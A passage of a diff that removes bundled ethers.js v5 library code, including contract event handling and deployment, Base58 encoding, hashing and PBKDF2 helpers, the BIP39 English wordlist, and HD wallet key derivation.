once) { - if (!this.provider) { - logger38.throwError("events require a provider or a signer with a provider", Logger2.errors.UNSUPPORTED_OPERATION, { operation: "once" }); - } - runningEvent.addListener(listener, once); - this._runningEvents[runningEvent.tag] = runningEvent; - if (!this._wrappedEmits[runningEvent.tag]) { - const wrappedEmit = (log) => { - let event = this._wrapEvent(runningEvent, log, listener); - if (event.decodeError == null) { - try { - const args = runningEvent.getEmit(event); - this.emit(runningEvent.filter, ...args); - } catch (error) { - event.decodeError = error.error; - } - } - if (runningEvent.filter != null) { - this.emit("event", event); - } - if (event.decodeError != null) { - this.emit("error", event.decodeError, event); - } - }; - this._wrappedEmits[runningEvent.tag] = wrappedEmit; - if (runningEvent.filter != null) { - this.provider.on(runningEvent.filter, wrappedEmit); - } - } - } - queryFilter(event, fromBlockOrBlockhash, toBlock) { - const runningEvent = this._getRunningEvent(event); - const filter2 = shallowCopy2(runningEvent.filter); - if (typeof fromBlockOrBlockhash === "string" && isHexString2(fromBlockOrBlockhash, 32)) { - if (toBlock != null) { - logger38.throwArgumentError("cannot specify toBlock with blockhash", "toBlock", toBlock); - } - filter2.blockHash = fromBlockOrBlockhash; - } else { - filter2.fromBlock = fromBlockOrBlockhash != null ? fromBlockOrBlockhash : 0; - filter2.toBlock = toBlock != null ? toBlock : "latest"; - } - return this.provider.getLogs(filter2).then((logs) => { - return logs.map((log) => this._wrapEvent(runningEvent, log, null)); - }); - } - on(event, listener) { - this._addEventListener(this._getRunningEvent(event), listener, false); - return this; - } - once(event, listener) { - this._addEventListener(this._getRunningEvent(event), listener, true); - return this; - } - emit(eventName, ...args) { - if (!this.provider) { - return false; - } - const runningEvent = this._getRunningEvent(eventName); - const result = runningEvent.run(args) > 0; - this._checkRunningEvents(runningEvent); - return result; - } - listenerCount(eventName) { - if (!this.provider) { - return 0; - } - if (eventName == null) { - return Object.keys(this._runningEvents).reduce((accum, key3) => { - return accum + this._runningEvents[key3].listenerCount(); - }, 0); - } - return this._getRunningEvent(eventName).listenerCount(); - } - listeners(eventName) { - if (!this.provider) { - return []; - } - if (eventName == null) { - const result = []; - for (let tag in this._runningEvents) { - this._runningEvents[tag].listeners().forEach((listener) => { - result.push(listener); - }); - } - return result; - } - return this._getRunningEvent(eventName).listeners(); - } - removeAllListeners(eventName) { - if (!this.provider) { - return this; - } - if (eventName == null) { - for (const tag in this._runningEvents) { - const runningEvent2 = this._runningEvents[tag]; - runningEvent2.removeAllListeners(); - this._checkRunningEvents(runningEvent2); - } - return this; - } - const runningEvent = this._getRunningEvent(eventName); - runningEvent.removeAllListeners(); - this._checkRunningEvents(runningEvent); - return this; - } - off(eventName, listener) { - if (!this.provider) { - return this; - } - const runningEvent = this._getRunningEvent(eventName); - runningEvent.removeListener(listener); - this._checkRunningEvents(runningEvent); - return this; - } - removeListener(eventName, listener) { - return this.off(eventName, listener); - } - }; - var Contract = class extends BaseContract { - }; - var ContractFactory = class { - constructor(contractInterface, bytecode, signer) { - let bytecodeHex = null; - if (typeof bytecode === "string") { - bytecodeHex = bytecode; - } else if (isBytes2(bytecode)) { - bytecodeHex = hexlify2(bytecode); - } else if (bytecode && typeof bytecode.object === "string") { - bytecodeHex = bytecode.object; - } else { - bytecodeHex = "!"; - } - if (bytecodeHex.substring(0, 2) !== "0x") { - bytecodeHex = "0x" + bytecodeHex; - } - if (!isHexString2(bytecodeHex) || bytecodeHex.length % 2) { - logger38.throwArgumentError("invalid bytecode", "bytecode", bytecode); - } - if (signer && !Signer2.isSigner(signer)) { - logger38.throwArgumentError("invalid signer", "signer", signer); - } - defineReadOnly2(this, "bytecode", bytecodeHex); - defineReadOnly2(this, "interface", getStatic2(new.target, "getInterface")(contractInterface)); - defineReadOnly2(this, "signer", signer || null); - } - // @TODO: Future; rename to populateTransaction? - getDeployTransaction(...args) { - let tx = {}; - if (args.length === this.interface.deploy.inputs.length + 1 && typeof args[args.length - 1] === "object") { - tx = shallowCopy2(args.pop()); - for (const key3 in tx) { - if (!allowedTransactionKeys5[key3]) { - throw new Error("unknown transaction override " + key3); - } - } - } - ["data", "from", "to"].forEach((key3) => { - if (tx[key3] == null) { - return; - } - logger38.throwError("cannot override " + key3, Logger2.errors.UNSUPPORTED_OPERATION, { operation: key3 }); - }); - if (tx.value) { - const value = BigNumber2.from(tx.value); - if (!value.isZero() && !this.interface.deploy.payable) { - logger38.throwError("non-payable constructor cannot override value", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "overrides.value", - value: tx.value - }); - } - } - logger38.checkArgumentCount(args.length, this.interface.deploy.inputs.length, " in Contract constructor"); - tx.data = hexlify2(concat2([ - this.bytecode, - this.interface.encodeDeploy(args) - ])); - return tx; - } - deploy(...args) { - return __awaiter20(this, void 0, void 0, function* () { - let overrides = {}; - if (args.length === this.interface.deploy.inputs.length + 1) { - overrides = args.pop(); - } - logger38.checkArgumentCount(args.length, this.interface.deploy.inputs.length, " in Contract constructor"); - const params = yield resolveAddresses(this.signer, args, this.interface.deploy.inputs); - params.push(overrides); - const unsignedTx = this.getDeployTransaction(...params); - const tx = yield this.signer.sendTransaction(unsignedTx); - const address = getStatic2(this.constructor, "getContractAddress")(tx); - const contract = getStatic2(this.constructor, "getContract")(address, this.interface, this.signer); - addContractWait(contract, tx); - defineReadOnly2(contract, "deployTransaction", tx); - return contract; - }); - } - attach(address) { - return this.constructor.getContract(address, this.interface, this.signer); - } - connect(signer) { - return new this.constructor(this.interface, this.bytecode, signer); - } - static fromSolidity(compilerOutput, signer) { - if (compilerOutput == null) { - logger38.throwError("missing compiler output", Logger2.errors.MISSING_ARGUMENT, { argument: "compilerOutput" }); - } - if (typeof compilerOutput === "string") { - compilerOutput = JSON.parse(compilerOutput); - } - const abi = compilerOutput.abi; - let bytecode = null; - if (compilerOutput.bytecode) { - bytecode = compilerOutput.bytecode; - } else if (compilerOutput.evm && compilerOutput.evm.bytecode) { - bytecode = compilerOutput.evm.bytecode; - } - return new this(abi, bytecode, signer); - } - static getInterface(contractInterface) { - return Contract.getInterface(contractInterface); - } - static getContractAddress(tx) { - return getContractAddress2(tx); - } - static getContract(address, contractInterface, signer) { - return new Contract(address, contractInterface, signer); - } - }; - - // node_modules/@ethersproject/basex/lib.esm/index.js - var BaseX2 = class { - constructor(alphabet) { - defineReadOnly2(this, "alphabet", alphabet); - defineReadOnly2(this, "base", alphabet.length); - defineReadOnly2(this, "_alphabetMap", {}); - defineReadOnly2(this, "_leader", alphabet.charAt(0)); - for (let i = 0; i < alphabet.length; i++) { - this._alphabetMap[alphabet.charAt(i)] = i; - } - } - encode(value) { - let source = arrayify2(value); - if (source.length === 0) { - return ""; - } - let digits = [0]; - for (let i = 0; i < source.length; ++i) { - let carry = source[i]; - for (let j = 0; j < digits.length; ++j) { - carry += digits[j] << 8; - digits[j] = carry % this.base; - carry = carry / this.base | 0; - } - while (carry > 0) { - digits.push(carry % this.base); - carry = carry / this.base | 0; - } - } - let string = ""; - for (let k = 0; source[k] === 0 && k < source.length - 1; ++k) { - string += this._leader; - } - for (let q = digits.length - 1; q >= 0; --q) { - string += this.alphabet[digits[q]]; - } - return string; - } - decode(value) { - if (typeof value !== "string") { - throw new TypeError("Expected String"); - } - let bytes = []; - if (value.length === 0) { - return new Uint8Array(bytes); - } - bytes.push(0); - for (let i = 0; i < value.length; i++) { - let byte = this._alphabetMap[value[i]]; - if (byte === void 0) { - throw new Error("Non-base" + this.base + " character"); - } - let carry = byte; - for (let j = 0; j < bytes.length; ++j) { - carry += bytes[j] * this.base; - bytes[j] = carry & 255; - carry >>= 8; - } - while (carry > 0) { - bytes.push(carry & 255); - carry >>= 8; - } - } - for (let k = 0; value[k] === this._leader && k < value.length - 1; ++k) { - bytes.push(0); - } - return arrayify2(new Uint8Array(bytes.reverse())); - } - }; - var Base322 = new BaseX2("abcdefghijklmnopqrstuvwxyz234567"); - var Base582 = new BaseX2("123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"); - - // node_modules/@ethersproject/sha2/lib.esm/sha2.js - var import_hash5 = __toESM(require_hash2()); - - // node_modules/@ethersproject/sha2/lib.esm/types.js - var SupportedAlgorithm; - (function(SupportedAlgorithm2) { - SupportedAlgorithm2["sha256"] = "sha256"; - SupportedAlgorithm2["sha512"] = "sha512"; - })(SupportedAlgorithm || (SupportedAlgorithm = {})); - - // node_modules/@ethersproject/sha2/lib.esm/_version.js - var version35 = "sha2/5.7.0"; - - // node_modules/@ethersproject/sha2/lib.esm/sha2.js - var logger39 = new Logger2(version35); - function ripemd160(data) { - return "0x" + import_hash5.default.ripemd160().update(arrayify2(data)).digest("hex"); - } - function sha2563(data) { - return "0x" + import_hash5.default.sha256().update(arrayify2(data)).digest("hex"); - } - function sha512(data) { - return "0x" + import_hash5.default.sha512().update(arrayify2(data)).digest("hex"); - } - function computeHmac(algorithm, key3, data) { - if (!SupportedAlgorithm[algorithm]) { - logger39.throwError("unsupported algorithm " + algorithm, Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "hmac", - algorithm - }); - } - return "0x" + import_hash5.default.hmac(import_hash5.default[algorithm], arrayify2(key3)).update(arrayify2(data)).digest("hex"); - } - - // node_modules/@ethersproject/pbkdf2/lib.esm/pbkdf2.js - function pbkdf2(password, salt, iterations, keylen, hashAlgorithm) { - password = arrayify2(password); - salt = arrayify2(salt); - let hLen; - let l = 1; - const DK = new Uint8Array(keylen); - const block1 = new Uint8Array(salt.length + 4); - block1.set(salt); - let r3; - let T; - for (let i = 1; i <= l; i++) { - block1[salt.length] = i >> 24 & 255; - block1[salt.length + 1] = i >> 16 & 255; - block1[salt.length + 2] = i >> 8 & 255; - block1[salt.length + 3] = i & 255; - let U = arrayify2(computeHmac(hashAlgorithm, password, block1)); - if (!hLen) { - hLen = U.length; - T = new Uint8Array(hLen); - l = Math.ceil(keylen / hLen); - r3 = keylen - (l - 1) * hLen; - } - T.set(U); - for (let j = 1; j < iterations; j++) { - U = arrayify2(computeHmac(hashAlgorithm, password, U)); - for (let k = 0; k < hLen; k++) - T[k] ^= U[k]; - } - const destPos = (i - 1) * hLen; - const len = i === l ? r3 : hLen; - DK.set(arrayify2(T).slice(0, len), destPos); - } - return hexlify2(DK); - } - - // node_modules/@ethersproject/wordlists/lib.esm/_version.js - var version36 = "wordlists/5.7.0"; - - // node_modules/@ethersproject/wordlists/lib.esm/wordlist.js - var exportWordlist = false; - var logger40 = new Logger2(version36); - var Wordlist = class _Wordlist { - constructor(locale) { - logger40.checkAbstract(new.target, _Wordlist); - defineReadOnly2(this, "locale", locale); - } - // Subclasses may override this - split(mnemonic) { - return mnemonic.toLowerCase().split(/ +/g); - } - // Subclasses may override this - join(words2) { - return words2.join(" "); - } - static check(wordlist2) { - const words2 = []; - for (let i = 0; i < 2048; i++) { - const word = wordlist2.getWord(i); - if (i !== wordlist2.getWordIndex(word)) { - return "0x"; - } - words2.push(word); - } - return id2(words2.join("\n") + "\n"); - } - static register(lang, name) { - if (!name) { - name = lang.locale; - } - if (exportWordlist) { - try { - const anyGlobal2 = window; - if (anyGlobal2._ethers && anyGlobal2._ethers.wordlists) { - if (!anyGlobal2._ethers.wordlists[name]) { - defineReadOnly2(anyGlobal2._ethers.wordlists, name, lang); - } - } - } catch (error) { - } - } - } - }; - - // node_modules/@ethersproject/wordlists/lib.esm/lang-en.js - var words = "AbandonAbilityAbleAboutAboveAbsentAbsorbAbstractAbsurdAbuseAccessAccidentAccountAccuseAchieveAcidAcousticAcquireAcrossActActionActorActressActualAdaptAddAddictAddressAdjustAdmitAdultAdvanceAdviceAerobicAffairAffordAfraidAgainAgeAgentAgreeAheadAimAirAirportAisleAlarmAlbumAlcoholAlertAlienAllAlleyAllowAlmostAloneAlphaAlreadyAlsoAlterAlwaysAmateurAmazingAmongAmountAmusedAnalystAnchorAncientAngerAngleAngryAnimalAnkleAnnounceAnnualAnotherAnswerAntennaAntiqueAnxietyAnyApartApologyAppearAppleApproveAprilArchArcticAreaArenaArgueArmArmedArmorArmyAroundArrangeArrestArriveArrowArtArtefactArtistArtworkAskAspectAssaultAssetAssistAssumeAsthmaAthleteAtomAttackAttendAttitudeAttractAuctionAuditAugustAuntAuthorAutoAutumnAverageAvocadoAvoidAwakeAwareAwayAwesomeAwfulAwkwardAxisBabyBachelorBaconBadgeBagBalanceBalconyBallBambooBananaBannerBarBarelyBargainBarrelBaseBasicBasketBattleBeachBeanBeautyBecauseBecomeBeefBeforeBeginBehaveBehindBelieveBelowBeltBenchBenefitBestBetrayBetterBetweenBeyondBicycleBidBikeBindBiologyBirdBirthBitterBlackBladeBlameBlanketBlastBleakBlessBlindBloodBlossomBlouseBlueBlurBlushBoardBoatBodyBoilBombBoneBonusBookBoostBorderBoringBorrowBossBottomBounceBoxBoyBracketBrainBrandBrassBraveBreadBreezeBrickBridgeBriefBrightBringBriskBroccoliBrokenBronzeBroomBrotherBrownBrushBubbleBuddyBudgetBuffaloBuildBulbBulkBulletBundleBunkerBurdenBurgerBurstBusBusinessBusyButterBuyerBuzzCabbageCabinCableCactusCageCakeCallCalmCameraCampCanCanalCancelCandyCannonCanoeCanvasCanyonCapableCapitalCaptainCarCarbonCardCargoCarpetCarryCartCaseCashCasinoCastleCasualCatCatalogCatchCategoryCattleCaughtCauseCautionCaveCeilingCeleryCementCensusCenturyCerealCertainChairChalkChampionChangeChaosChapterChargeChaseChatCheapCheckCheeseChefCherryChestChickenChiefChildChimneyChoiceChooseChronicChuckleChunkChurnCigarCinnamonCircleCitizenCityCivilClaimClapClarifyClawClayCleanClerkCleverClickClientCliffClimbClinicClipClockClogCloseClothCloudClownClubClumpClusterClutchCoachCoastCoconutCodeCoffeeCoilCoinCollectColorColumnCombineComeComfortComicCommonCompanyConcertConductConfirmCongressConnectConsiderControlConvinceCookCoolCopperCopyCoralCoreCornCorrectCostCottonCouchCountryCoupleCourseCousinCoverCoyoteCrackCradleCraftCramCraneCrashCraterCrawlCrazyCreamCreditCreekCrewCricketCrimeCrispCriticCropCrossCrouchCrowdCrucialCruelCruiseCrumbleCrunchCrushCryCrystalCubeCultureCupCupboardCuriousCurrentCurtainCurveCushionCustomCuteCycleDadDamageDampDanceDangerDaringDashDaughterDawnDayDealDebateDebrisDecadeDecemberDecideDeclineDecorateDecreaseDeerDefenseDefineDefyDegreeDelayDeliverDemandDemiseDenialDentistDenyDepartDependDepositDepthDeputyDeriveDescribeDesertDesignDeskDespairDestroyDetailDetectDevelopDeviceDevoteDiagramDialDiamondDiaryDiceDieselDietDifferDigitalDignityDilemmaDinnerDinosaurDirectDirtDisagreeDiscoverDiseaseDishDismissDisorderDisplayDistanceDivertDivideDivorceDizzyDoctorDocumentDogDollDolphinDomainDonateDonkeyDonorDoorDoseDoubleDoveDraftDragonDramaDrasticDrawDreamDressDriftDrillDrinkDripDriveDropDrumDryDuckDumbDuneDuringDustDutchDutyDwarfDynamicEagerEagleEarlyEarnEarthEasilyEastEasyEchoEcologyEconomyEdgeEditEducateEffortEggEightEitherElbowElderElectricElegantElementElephantElevatorEliteElseEmbarkEmbodyEmbraceEmergeEmotionEmployEmpowerEmptyEnableEnactEndEndlessEndorseEnemyEnergyEnforceEngageEngineEnhanceEnjoyEnlistEnoughEnrichEnrollEnsureEnterEntireEntryEnvelopeEpisodeEqualEquipEraEraseErodeErosionErrorEruptEscapeEssayEssenceEstateEternalEthicsEvidenceEvilEvokeEvolveExactExampleExcessExchangeExciteExcludeExcuseExecuteExerciseExhaustExhibitExileExistExitExoticExpandExpectExpireExplainExposeExpressExtendExtraEyeEyebrowFabricFaceFacultyFadeFaintFaithFallFalseFameFamilyFamousFanFancyFantasyFarmFashionFatFatalFatherFatigueFaultFavoriteFeatureFebruaryFederalFeeFeedFeelFemaleFenceFestivalFetchFeverFewFiberFictionFieldFigureFileFilmFilterFinalFindFineFingerFinishFireFirmFirstFiscalFishFitFitnessFixFlagFlameFlashFlatFlavorFleeFlightFlipFloatFlockFloorFlowerFluidFlushFlyFoamFocusFogFoilFoldFollowFoodFootForceForestForgetForkFortuneForumForwardFossilFosterFoundFoxFragileFrameFrequentFreshFriendFringeFrogFrontFrostFrownFrozenFruitFuelFunFunnyFurnaceFuryFutureGadgetGainGalaxyGalleryGameGapGarageGarbageGardenGarlicGarmentGasGaspGateGatherGaugeGazeGeneralGeniusGenreGentleGenuineGestureGhostGiantGiftGiggleGingerGiraffeGirlGiveGladGlanceGlareGlassGlideGlimpseGlobeGloomGloryGloveGlowGlueGoatGoddessGoldGoodGooseGorillaGospelGossipGovernGownGrabGraceGrainGrantGrapeGrassGravityGreatGreenGridGriefGritGroceryGroupGrowGruntGuardGuessGuideGuiltGuitarGunGymHabitHairHalfHammerHamsterHandHappyHarborHardHarshHarvestHatHaveHawkHazardHeadHealthHeartHeavyHedgehogHeightHelloHelmetHelpHenHeroHiddenHighHillHintHipHireHistoryHobbyHockeyHoldHoleHolidayHollowHomeHoneyHoodHopeHornHorrorHorseHospitalHostHotelHourHoverHubHugeHumanHumbleHumorHundredHungryHuntHurdleHurryHurtHusbandHybridIceIconIdeaIdentifyIdleIgnoreIllIllegalIllnessImageImitateImmenseImmuneImpactImposeImproveImpulseInchIncludeIncomeIncreaseIndexIndicateIndoorIndustryInfantInflictInformInhaleInheritInitialInjectInjuryInmateInnerInnocentInputInquiryInsaneInsectInsideInspireInstallIntactInterestIntoInvestInviteInvolveIronIslandIsolateIssueItemIvoryJacketJaguarJarJazzJealousJeansJellyJewelJobJoinJokeJourneyJoyJudgeJuiceJumpJungleJuniorJunkJustKangarooKeenKeepKetchupKeyKickKidKidneyKindKingdomKissKitKitchenKiteKittenKiwiKneeKnifeKnockKnowLabLabelLaborLadderLadyLakeLampLanguageLaptopLargeLaterLatinLaughLaundryLavaLawLawnLawsuitLayerLazyLeaderLeafLearnLeaveLectureLeftLegLegalLegendLeisureLemonLendLengthLensLeopardLessonLetterLevelLiarLibertyLibraryLicenseLifeLiftLightLikeLimbLimitLinkLionLiquidListLittleLiveLizardLoadLoanLobsterLocalLockLogicLonelyLongLoopLotteryLoudLoungeLoveLoyalLuckyLuggageLumberLunarLunchLuxuryLyricsMachineMadMagicMagnetMaidMailMainMajorMakeMammalManManageMandateMangoMansionManualMapleMarbleMarchMarginMarineMarketMarriageMaskMassMasterMatchMaterialMathMatrixMatterMaximumMazeMeadowMeanMeasureMeatMechanicMedalMediaMelodyMeltMemberMemoryMentionMenuMercyMergeMeritMerryMeshMessageMetalMethodMiddleMidnightMilkMillionMimicMindMinimumMinorMinuteMiracleMirrorMiseryMissMistakeMixMixedMixtureMobileModelModifyMomMomentMonitorMonkeyMonsterMonthMoonMoralMoreMorningMosquitoMotherMotionMotorMountainMouseMoveMovieMuchMuffinMuleMultiplyMuscleMuseumMushroomMusicMustMutualMyselfMysteryMythNaiveNameNapkinNarrowNastyNationNatureNearNeckNeedNegativeNeglectNeitherNephewNerveNestNetNetworkNeutralNeverNewsNextNiceNightNobleNoiseNomineeNoodleNormalNorthNoseNotableNoteNothingNoticeNovelNowNuclearNumberNurseNutOakObeyObjectObligeObscureObserveObtainObviousOccurOceanOctoberOdorOffOfferOfficeOftenOilOkayOldOliveOlympicOmitOnceOneOnionOnlineOnlyOpenOperaOpinionOpposeOptionOrangeOrbitOrchardOrderOrdinaryOrganOrientOriginalOrphanOstrichOtherOutdoorOuterOutputOutsideOvalOvenOverOwnOwnerOxygenOysterOzonePactPaddlePagePairPalacePalmPandaPanelPanicPantherPaperParadeParentParkParrotPartyPassPatchPathPatientPatrolPatternPausePavePaymentPeacePeanutPearPeasantPelicanPenPenaltyPencilPeoplePepperPerfectPermitPersonPetPhonePhotoPhrasePhysicalPianoPicnicPicturePiecePigPigeonPillPilotPinkPioneerPipePistolPitchPizzaPlacePlanetPlasticPlatePlayPleasePledgePluckPlugPlungePoemPoetPointPolarPolePolicePondPonyPoolPopularPortionPositionPossiblePostPotatoPotteryPovertyPowderPowerPracticePraisePredictPreferPreparePresentPrettyPreventPricePridePrimaryPrintPriorityPrisonPrivatePrizeProblemProcessProduceProfitProgramProjectPromoteProofPropertyProsperProtectProudProvidePublicPuddingPullPulpPulsePumpkinPunchPupilPuppyPurchasePurityPurposePursePushPutPuzzlePyramidQualityQuantumQuarterQuestionQuickQuitQuizQuoteRabbitRaccoonRaceRackRadarRadioRailRainRaiseRallyRampRanchRandomRangeRapidRareRateRatherRavenRawRazorReadyRealReasonRebelRebuildRecallReceiveRecipeRecordRecycleReduceReflectReformRefuseRegionRegretRegularRejectRelaxReleaseReliefRelyRemainRememberRemindRemoveRenderRenewRentReopenRepairRepeatReplaceReportRequireRescueResembleResistResourceResponseResultRetireRetreatReturnReunionRevealReviewRewardRhythmRibRibbonRiceRichRideRidgeRifleRightRigidRingRiotRippleRiskRitualRivalRiverRoadRoastRobotRobustRocketRomanceRoofRookieRoomRoseRotateRoughRoundRouteRoyalRubberRudeRugRuleRunRunwayRuralSadSaddleSadnessSafeSailSaladSalmonSalonSaltSaluteSameSampleSandSatisfySatoshiSauceSausageSaveSayScaleScanScareScatterSceneSchemeSchoolScienceScissorsScorpionScoutScrapScreenScriptScrubSeaSearchSeasonSeatSecondSecretSectionSecuritySeedSeekSegmentSelectSellSeminarSeniorSenseSentenceSeriesServiceSessionSettleSetupSevenShadowShaftShallowShareShedShellSheriffShieldShiftShineShipShiverShockShoeShootShopShortShoulderShoveShrimpShrugShuffleShySiblingSickSideSiegeSightSignSilentSilkSillySilverSimilarSimpleSinceSingSirenSisterSituateSixSizeSkateSketchSkiSkillSkinSkirtSkullSlabSlamSleepSlenderSliceSlideSlightSlimSloganSlotSlowSlushSmallSmartSmileSmokeSmoothSnackSnakeSnapSniffSnowSoapSoccerSocialSockSodaSoftSolarSoldierSolidSolutionSolveSomeoneSongSoonSorrySortSoulSoundSoupSourceSouthSpaceSpareSpatialSpawnSpeakSpecialSpeedSpellSpendSphereSpiceSpiderSpikeSpinSpiritSplitSpoilSponsorSpoonSportSpotSpraySpreadSpringSpySquareSqueezeSquirrelStableStadiumStaffStageStairsStampStandStartStateStaySteakSteelStemStepStereoStickStillStingStockStomachStoneStoolStoryStoveStrategyStreetStrikeStrongStruggleStudentStuffStumbleStyleSubjectSubmitSubwaySuccessSuchSuddenSufferSugarSuggestSuitSummerSunSunnySunsetSuperSupplySupremeSureSurfaceSurgeSurpriseSurroundSurveySuspectSustainSwallowSwampSwapSwarmSwearSweetSwiftSwimSwingSwitchSwordSymbolSymptomSyrupSystemTableTackleTagTailTalentTalkTankTapeTargetTaskTasteTattooTaxiTeachTeamTellTenTenantTennisTentTermTestTextThankThatThemeThenTheoryThereTheyThingThisThoughtThreeThriveThrowThumbThunderTicketTideTigerTiltTimberTimeTinyTipTiredTissueTitleToastTobaccoTodayToddlerToeTogetherToiletTokenTomatoTomorrowToneTongueTonightToolToothTopTopicToppleTorchTornadoTortoiseTossTotalTouristTowardTowerTownToyTrackTradeTrafficTragicTrainTransferTrapTrashTravelTrayTreatTreeTrendTrialTribeTrickTriggerTrimTripTrophyTroubleTruckTrueTrulyTrumpetTrustTruthTryTubeTuitionTumbleTunaTunnelTurkeyTurnTurtleTwelveTwentyTwiceTwinTwistTwoTypeTypicalUglyUmbrellaUnableUnawareUncleUncoverUnderUndoUnfairUnfoldUnhappyUniformUniqueUnitUniverseUnknownUnlockUntilUnusualUnveilUpdateUpgradeUpholdUponUpperUpsetUrbanUrgeUsageUseUsedUsefulUselessUsualUtilityVacantVacuumVagueValidValleyValveVanVanishVaporVariousVastVaultVehicleVelvetVendorVentureVenueVerbVerifyVersionVeryVesselVeteranViableVibrantViciousVictoryVideoViewVillageVintageViolinVirtualVirusVisaVisitVisualVitalVividVocalVoiceVoidVolcanoVolumeVoteVoyageWageWagonWaitWalkWallWalnutWantWarfareWarmWarriorWashWaspWasteWaterWaveWayWealthWeaponWearWeaselWeatherWebWeddingWeekendWeirdWelcomeWestWetWhaleWhatWheatWheelWhenWhereWhipWhisperWideWidthWifeWildWillWinWindowWineWingWinkWinnerWinterWireWisdomWiseWishWitnessWolfWomanWonderWoodWoolWordWorkWorldWorryWorthWrapWreckWrestleWristWriteWrongYardYearYellowYouYoungYouthZebraZeroZoneZoo"; - var wordlist = null; - function loadWords(lang) { - if (wordlist != null) { - return; - } - wordlist = words.replace(/([A-Z])/g, " $1").toLowerCase().substring(1).split(" "); - if (Wordlist.check(lang) !== "0x3c8acc1e7b08d8e76f9fda015ef48dc8c710a73cb7e0f77b2c18a9b5a7adde60") { - wordlist = null; - throw new Error("BIP39 Wordlist for en (English) FAILED"); - } - } - var LangEn = class extends Wordlist { - constructor() { - super("en"); - } - getWord(index2) { - loadWords(this); - return wordlist[index2]; - } - getWordIndex(word) { - loadWords(this); - return wordlist.indexOf(word); - } - }; - var langEn = new LangEn(); - Wordlist.register(langEn); - - // node_modules/@ethersproject/wordlists/lib.esm/wordlists.js - var wordlists = { - en: langEn - }; - - // node_modules/@ethersproject/hdnode/lib.esm/_version.js - var version37 = "hdnode/5.7.0"; - - // node_modules/@ethersproject/hdnode/lib.esm/index.js - var logger41 = new Logger2(version37); - var N = BigNumber2.from("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"); - var MasterSecret = toUtf8Bytes2("Bitcoin seed"); - var HardenedBit = 2147483648; - function getUpperMask(bits) { - return (1 << bits) - 1 << 8 - bits; - } - function getLowerMask(bits) { - return (1 << bits) - 1; - } - function bytes32(value) { - return hexZeroPad2(hexlify2(value), 32); - } - function base58check(data) { - return Base582.encode(concat2([data, hexDataSlice2(sha2563(sha2563(data)), 0, 4)])); - } - function getWordlist(wordlist2) { - if (wordlist2 == null) { - return wordlists["en"]; - } - if (typeof wordlist2 === "string") { - const words2 = wordlists[wordlist2]; - if (words2 == null) { - logger41.throwArgumentError("unknown locale", "wordlist", wordlist2); - } - return words2; - } - return wordlist2; - } - var _constructorGuard6 = {}; - var defaultPath = "m/44'/60'/0'/0/0"; - var HDNode = class _HDNode { - /** - * This constructor should not be called directly. - * - * Please use: - * - fromMnemonic - * - fromSeed - */ - constructor(constructorGuard, privateKey, publicKey, parentFingerprint, chainCode, index2, depth, mnemonicOrPath) { - if (constructorGuard !== _constructorGuard6) { - throw new Error("HDNode constructor cannot be called directly"); - } - if (privateKey) { - const signingKey = new SigningKey2(privateKey); - defineReadOnly2(this, "privateKey", signingKey.privateKey); - defineReadOnly2(this, "publicKey", signingKey.compressedPublicKey); - } else { - defineReadOnly2(this, "privateKey", null); - defineReadOnly2(this, "publicKey", hexlify2(publicKey)); - } - defineReadOnly2(this, "parentFingerprint", parentFingerprint); - defineReadOnly2(this, "fingerprint", hexDataSlice2(ripemd160(sha2563(this.publicKey)), 0, 4)); - defineReadOnly2(this, "address", computeAddress2(this.publicKey)); - defineReadOnly2(this, "chainCode", chainCode); - defineReadOnly2(this, "index", index2); - defineReadOnly2(this, "depth", depth); - if (mnemonicOrPath == null) { - defineReadOnly2(this, "mnemonic", null); - defineReadOnly2(this, "path", null); - } else if (typeof mnemonicOrPath === "string") { - defineReadOnly2(this, "mnemonic", null); - defineReadOnly2(this, "path", mnemonicOrPath); - } else { - defineReadOnly2(this, "mnemonic", mnemonicOrPath); - defineReadOnly2(this, "path", mnemonicOrPath.path); - } - } - get extendedKey() { - if (this.depth >= 256) { - throw new Error("Depth too large!"); - } - return base58check(concat2([ - this.privateKey != null ? "0x0488ADE4" : "0x0488B21E", - hexlify2(this.depth), - this.parentFingerprint, - hexZeroPad2(hexlify2(this.index), 4), - this.chainCode, - this.privateKey != null ? concat2(["0x00", this.privateKey]) : this.publicKey - ])); - } - neuter() { - return new _HDNode(_constructorGuard6, null, this.publicKey, this.parentFingerprint, this.chainCode, this.index, this.depth, this.path); - } - _derive(index2) { - if (index2 > 4294967295) { - throw new Error("invalid index - " + String(index2)); - } - let path = this.path; - if (path) { - path += "/" + (index2 & ~HardenedBit); - } - const data = new Uint8Array(37); - if (index2 & HardenedBit) { - if (!this.privateKey) { - throw new Error("cannot derive child of neutered node"); - } - data.set(arrayify2(this.privateKey), 1); - if (path) { - path += "'"; - } - } else { - data.set(arrayify2(this.publicKey)); - } - for (let i = 24; i >= 0; i -= 8) { - data[33 + (i >> 3)] = index2 >> 24 - i & 255; - } - const I = arrayify2(computeHmac(SupportedAlgorithm.sha512, this.chainCode, data)); - const IL = I.slice(0, 32); - const IR = I.slice(32); - let ki = null; - let Ki = null; - if (this.privateKey) { - ki = bytes32(BigNumber2.from(IL).add(this.privateKey).mod(N)); - } else { - const ek = new SigningKey2(hexlify2(IL)); - Ki = ek._addPoint(this.publicKey); - } - let mnemonicOrPath = path; - const srcMnemonic = this.mnemonic; - if (srcMnemonic) { - mnemonicOrPath = Object.freeze({ - phrase: srcMnemonic.phrase, - path, - locale: srcMnemonic.locale || "en" - }); - } - return new _HDNode(_constructorGuard6, ki, Ki, this.fingerprint, bytes32(IR), index2, this.depth + 1, mnemonicOrPath); - } - derivePath(path) { - const components = path.split("/"); - if (components.length === 0 || components[0] === "m" && this.depth !== 0) { - throw new Error("invalid path - " + path); - } - if (components[0] === "m") { - components.shift(); - } - let result = this; - for (let i = 0; i < components.length; i++) { - const component = components[i]; - if (component.match(/^[0-9]+'$/)) { - const index2 = parseInt(component.substring(0, component.length - 1)); - if (index2 >= HardenedBit) { - throw new Error("invalid path index - " + component); - } - result = result._derive(HardenedBit + index2); - } else if (component.match(/^[0-9]+$/)) { - const index2 = parseInt(component); - if (index2 >= HardenedBit) { - throw new Error("invalid path index - " + component); - } - result = result._derive(index2); - } else { - throw new Error("invalid path component - " + component); - } - } - return result; - } - static _fromSeed(seed, mnemonic) { - const seedArray = arrayify2(seed); - if (seedArray.length < 16 || seedArray.length > 64) { - throw new 